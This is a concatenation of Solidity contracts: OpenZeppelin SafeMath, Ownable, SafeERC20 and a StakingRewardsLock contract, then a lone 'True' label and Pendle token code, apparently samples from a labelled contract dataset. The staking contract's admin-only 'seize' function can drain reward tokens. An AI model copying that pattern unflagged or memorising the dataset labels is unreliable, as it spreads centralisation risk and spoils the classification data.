programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward, uint256 _duration) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public lpToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _lpToken) internal { lpToken = IERC20(_lpToken); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); lpToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); lpToken.safeTransfer(msg.sender, amount); } } contract StakingRewardsLock is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public rewardToken; uint256 public duration = 7 days; /* Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = false; mapping(address => uint) public stakeLock; // period that your sake it locked to keep it for staking uint public lock = 17280; // stake lock in blocks ~ 17280 3 days for 15s/block address public admin; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); constructor(address _lpToken, address _rewardToken) public LPTokenWrapper(_lpToken) { admin = msg.sender; rewardToken = IERC20(_rewardToken); } function setBreaker(bool _breaker) external { require(msg.sender == admin, "admin only"); breaker = _breaker; } function setLockTime(uint _lock) external { require(msg.sender == admin, "admin only"); lock = _lock; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function seize(IERC20 _token, uint amount) external { require(msg.sender == admin, "admin only"); require(_token != lpToken, "lpToken"); _token.safeTransfer(admin, amount); } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake(amount); stakeLock[msg.sender] = lock.add(block.number); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); if (breaker == false) { require(stakeLock[msg.sender] < block.number,"locked"); } super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward, uint256 _duration) external onlyRewardDistribution updateReward(address(0)) { require(_duration > 0, "Duration must not be 0"); duration = _duration.mul(1 days); if (block.timestamp >= periodFinish) { rewardRate = reward.div(duration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(duration); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(duration); require(rewardRate.mul(duration) <= rewardToken.balanceOf(address(this)), "Insufficient reward"); emit RewardAdded(reward); } }

True

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// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "./PendleBaseToken.sol"; import "../interfaces/IPendleYieldTokenCommon.sol"; import "../interfaces/IPendleForge.sol"; contract PendleOwnershipToken is PendleBaseToken, IPendleYieldTokenCommon { address public immutable override forge; address public immutable override underlyingAsset; address public immutable override underlyingYieldToken; constructor( address _router, address _forge, address _underlyingAsset, address _underlyingYieldToken, string memory _name, string memory _symbol, uint8 _underlyingYieldTokenDecimals, uint256 _start, uint256 _expiry ) PendleBaseToken(_router, _name, _symbol, _underlyingYieldTokenDecimals, _start, _expiry) { require( _underlyingAsset != address(0) && _underlyingYieldToken != address(0), "ZERO_ADDRESS" ); require(_forge != address(0), "ZERO_ADDRESS"); forge = _forge; underlyingAsset = _underlyingAsset; underlyingYieldToken = _underlyingYieldToken; } modifier onlyForge() { require(msg.sender == address(forge), "ONLY_FORGE"); _; } /** * @dev Burns OT or XYT tokens from user, reducing the total supply. * @param user The address performing the burn. * @param amount The amount to be burned. **/ function burn(address user, uint256 amount) public override onlyForge { _burn(user, amount); emit Burn(user, amount); } /** * @dev Mints new OT or XYT tokens for user, increasing the total supply. * @param user The address to send the minted tokens. * @param amount The amount to be minted. **/ function mint(address user, uint256 amount) public override onlyForge { _mint(user, amount); emit Mint(user, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from != address(0)) IPendleForge(forge).updatePendingRewards(underlyingAsset, expiry, from); if (to != address(0)) IPendleForge(forge).updatePendingRewards(underlyingAsset, expiry, to); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "../interfaces/IPendleBaseToken.sol"; import "../interfaces/IPendleRouter.sol"; /** * @title PendleBaseToken * @dev The contract implements the standard ERC20 functions, plus some * Pendle specific fields and functions, namely: * - expiry * * This abstract contract is inherited by PendleFutureYieldToken * and PendleOwnershipToken contracts. **/ abstract contract PendleBaseToken is ERC20 { using SafeMath for uint256; uint256 public immutable start; uint256 public immutable expiry; IPendleRouter public immutable router; //// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol bytes32 public immutable DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint256) public nonces; //// End of EIP-2612 related part constructor( address _router, string memory _name, string memory _symbol, uint8 _decimals, uint256 _start, uint256 _expiry ) ERC20(_name, _symbol) { _setupDecimals(_decimals); start = _start; expiry = _expiry; router = IPendleRouter(_router); //// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol, except for the noted parts below uint256 chainId; assembly { chainId := chainid() // chainid() is a function in assembly in this solidity version } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(_name)), // use our own _name here keccak256(bytes("1")), chainId, address(this) ) ); //// End of EIP-2612 related part } //// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(deadline >= block.timestamp, "PERMIT_EXPIRED"); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ECDSA.recover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNATURE"); _approve(owner, spender, value); } //// End of EIP-2612 related part function _beforeTokenTransfer( address from, address to, uint256 ) internal virtual override { require(to != address(this), "SEND_TO_TOKEN_CONTRACT"); require(to != from, "SEND_TO_SELF"); } } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; interface IPendleYieldTokenCommon { /** * @notice Emitted when burning OT or XYT tokens. * @param user The address performing the burn. * @param amount The amount to be burned. **/ event Burn(address indexed user, uint256 amount); /** * @notice Emitted when minting OT or XYT tokens. * @param user The address performing the mint. * @param amount The amount to be minted. **/ event Mint(address indexed user, uint256 amount); /** * @notice Burns OT or XYT tokens from user, reducing the total supply. * @param user The address performing the burn. * @param amount The amount to be burned. **/ function burn(address user, uint256 amount) external; /** * @notice Mints new OT or XYT tokens for user, increasing the total supply. * @param user The address to send the minted tokens. * @param amount The amount to be minted. **/ function mint(address user, uint256 amount) external; /** * @notice Gets the forge address of the PendleForge contract for this yield token. * @return Retuns the forge address. **/ function forge() external view returns (address); /** * @notice Returns the address of the underlying asset. * @return Returns the underlying asset address. **/ function underlyingAsset() external view returns (address); /** * @notice Returns the address of the underlying yield token. * @return Returns the underlying yield token address. **/ function underlyingYieldToken() external view returns (address); } // SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; import "./IPendleRouter.sol"; import "./IPendleRewardManager.sol"; import "./IPendleYieldContractDeployer.sol"; import "./IPendleData.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IPendleForge { /** * @dev Emitted when the Forge has minted the OT and XYT tokens. * @param forgeId The forgeId * @param underlyingAsset The address of the underlying yield token. * @param expiry The expiry of the XYT token * @param amountToTokenize The amount of yield bearing assets to tokenize * @param amountTokenMinted The amount of OT/XYT minted **/ event MintYieldTokens( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amountToTokenize, uint256 amountTokenMinted, address indexed user ); /** * @dev Emitted when the Forge has created new yield token contracts. * @param forgeId The forgeId * @param underlyingAsset The address of the underlying asset. * @param expiry The date in epoch time when the contract will expire. * @param ot The address of the ownership token. * @param xyt The address of the new future yield token. **/ event NewYieldContracts( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, address ot, address xyt, address yieldBearingAsset ); /** * @dev Emitted when the Forge has redeemed the OT and XYT tokens. * @param forgeId The forgeId * @param underlyingAsset the address of the underlying asset * @param expiry The expiry of the XYT token * @param amountToRedeem The amount of OT to be redeemed. * @param redeemedAmount The amount of yield token received **/ event RedeemYieldToken( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amountToRedeem, uint256 redeemedAmount, address indexed user ); /** * @dev Emitted when interest claim is settled * @param forgeId The forgeId * @param underlyingAsset the address of the underlying asset * @param expiry The expiry of the XYT token * @param user Interest receiver Address * @param amount The amount of interest claimed **/ event DueInterestsSettled( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amount, uint256 forgeFeeAmount, address indexed user ); /** * @dev Emitted when forge fee is withdrawn * @param forgeId The forgeId * @param underlyingAsset the address of the underlying asset * @param expiry The expiry of the XYT token * @param amount The amount of interest claimed **/ event ForgeFeeWithdrawn( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amount ); function setUpEmergencyMode( address _underlyingAsset, uint256 _expiry, address spender ) external; function newYieldContracts(address underlyingAsset, uint256 expiry) external returns (address ot, address xyt); function redeemAfterExpiry( address user, address underlyingAsset, uint256 expiry ) external returns (uint256 redeemedAmount); function redeemDueInterests( address user, address underlyingAsset, uint256 expiry ) external returns (uint256 interests); function updateDueInterests( address underlyingAsset, uint256 expiry, address user ) external; function updatePendingRewards( address _underlyingAsset, uint256 _expiry, address _user ) external; function redeemUnderlying( address user, address underlyingAsset, uint256 expiry, uint256 amountToRedeem ) external returns (uint256 redeemedAmount); function mintOtAndXyt( address underlyingAsset, uint256 expiry, uint256 amountToTokenize, address to ) external returns ( address ot, address xyt, uint256 amountTokenMinted ); function withdrawForgeFee(address underlyingAsset, uint256 expiry) external; function getYieldBearingToken(address underlyingAsset) external returns (address); /** * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. **/ function router() external view returns (IPendleRouter); function data() external view returns (IPendleData); function rewardManager() external view returns (IPendleRewardManager); function yieldContractDeployer() external view returns (IPendleYieldContractDeployer); function rewardToken() external view returns (IERC20); /** * @notice Gets the bytes32 ID of the forge. * @return Returns the forge and protocol identifier. **/ function forgeId() external view returns (bytes32); function dueInterests( address _underlyingAsset, uint256 expiry, address _user ) external view returns (uint256); function yieldTokenHolders(address _underlyingAsset, uint256 _expiry) external view returns (address yieldTokenHolder); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, 